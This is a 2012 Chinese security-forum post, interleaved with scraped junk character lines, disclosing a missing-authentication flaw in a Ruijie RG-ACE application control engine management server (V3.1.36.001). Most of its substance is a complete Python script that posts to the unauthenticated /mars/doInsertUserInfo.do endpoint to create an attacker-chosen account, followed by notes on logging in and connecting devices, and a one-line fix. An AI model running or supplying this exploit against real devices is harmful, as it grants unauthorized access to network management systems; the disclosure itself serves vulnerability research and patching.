中国网络渗透测试联盟
标题:
锐捷应用控制引擎管理服务器可以增加用户
[打印本页]
作者:
admin
时间:
2012-12-10 10:16
标题:
锐捷应用控制引擎管理服务器可以增加用户
锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接
http://www.ruijie.com.cn/service/down-search.aspx
显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
! {. _ f2 B7 W) k3 q8 T
" S$ Q" R; ]! K2 ^2 k6 x* C
3 f7 g1 Z5 x9 c' G; a
测试的具体版本是
7 U# K% \6 w2 Y- q# x
产品名称: 锐捷应用控制引擎
4 `" k& ?. ~7 a- F. T0 i9 l
版本号: 3.1.36.001 TC
1 u! c; S; ?' H6 b
编译时间: 201104291730
! R! ~0 s7 A9 L
9 b: y/ ~: ^ }; p8 `1 a+ l7 L$ K* }
$ l! X; j- g$ N ?5 ?# y
漏洞证明：
/ V7 K/ `1 m; h9 m) Y
H' f& M; G3 ^; F
8 Z/ R& {! d# \' ^, @4 \$ O
* y: q+ t0 E* J B
|. P9 o* i) _% X3 X2 w: G
4 b* C" x) S3 H$ W, W, Q- j6 |
$ E! _4 B. b A$ q
执行脚本
* D ^1 q3 \6 j* ?
#! /usr/bin/env python
5 I% U* r' k6 I0 K4 F
#coding=gbk
- G6 f. c5 G% E5 u9 B) `, f+ n- b
#RG-ACE管理服务器 V3.1.36.001
. h" q( z. F3 }
import urllib2, urllib,cookielib
: F2 ` c* u5 ~( v" d) ~- }
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
5 b( d8 `/ j7 J1 H1 G
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
1 p$ v; L9 X; o
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
+ N" K1 _2 ~; {9 _
post=(("event","userManager.doInsertUserInfo"),
2 S; p) [7 I% K# K% O3 ]. G
("useractionname","addButtonValue"),
$ j# p/ P: t7 b5 {1 w; ]0 O6 d# _) ?
("useropermanager","userManager"),
8 X, H6 \2 |; k% `; ~& j0 z
("userName","t"), #######账号自己加
* N1 {7 {8 I7 K: Q; _
("pwd","aaaaaa"),######密码自己加
4 N' {6 M0 B7 R5 n6 _+ m4 U. @( S
("trueName","ad"),
/ p# s+ Z9 x7 L1 x/ q- m9 |$ \
("email",""),
$ l& ^+ {, Y) Y
("mobilePhone",""),
3 y3 `2 X8 |' R( ]' ]1 W
("officePhone",""),
9 z5 }$ x9 ?4 v, ]4 w$ Q
("addr",""),
! N" d8 P& s! n
("submit","确定"))
8 o# D7 Z& ]3 m1 _0 s6 {
urllib2.install_opener(opener)
8 R1 A# r+ \# @* W5 V# Y& y% o
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
& ]2 Q m0 D P1 d+ n8 p3 ?
print "Done"
. O- n+ r- r& j; {! `! ]
+ x" T! _6 ^5 } `7 V- ?: }, @* E g
登录，连接设备
7 V" z$ _1 j' T# ?. r: x
' o+ h0 j3 [! m6 ^
1 C( p8 z; Y1 o! I a3 I; R
0 L$ t0 w& F3 @) N
2 A( u7 H. O$ E- a; j7 G: Q
8 g; c, }% _/ \
默认的管理员admin权限更大点
- U2 G. t# ^1 X2 T3 b1 q
' Y m) P& d4 D4 a$ v1 p" m2 S
+ Q# g1 u5 e8 Z
: N/ d |4 t) `& {
X$ M3 k" w6 R7 k
, m+ S/ X3 J' Y/ [4 U {
修复方案：
$ _, a" M: B, R Z" g; e
加强对接口的权限验证
: i( `+ O+ r: K+ L* n) v
8 o+ \" m ?# |8 w' S4 F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2